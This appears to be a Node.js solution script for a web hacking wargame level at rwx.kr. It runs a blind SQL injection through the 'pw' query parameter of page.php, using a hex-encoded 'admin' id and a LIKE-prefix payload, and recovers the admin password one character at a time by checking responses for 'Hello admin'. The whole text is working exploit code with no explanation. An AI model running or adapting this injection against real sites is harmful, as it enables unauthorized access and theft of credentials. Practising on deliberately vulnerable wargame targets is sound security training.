1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| const request = require('request'); const dict = '0123456789abcdefghijklmnopqrstuvwxyz={/}:.,_';
option = (query) => ({ "headers": { "Host": "rwx.kr", "User-Agent": "Mozilla/5.0", "Accept": "text/html", "Cookie": "PHPSESSID=posix" }, "qs": { "pw" : `' || id=0x61646d696e && pw like 0x${Buffer.from(query).toString('hex')}25 #`}, "method": "GET", "uri": "http://rwx.kr/page.php" });
function exploit(data = '') { for (let chr of dict) { request(option(data + chr), function(err, res, body) { if (body.indexOf('Hello admin') !== -1) { console.log(data + chr); exploit(data + chr); } }); } }
exploit();
|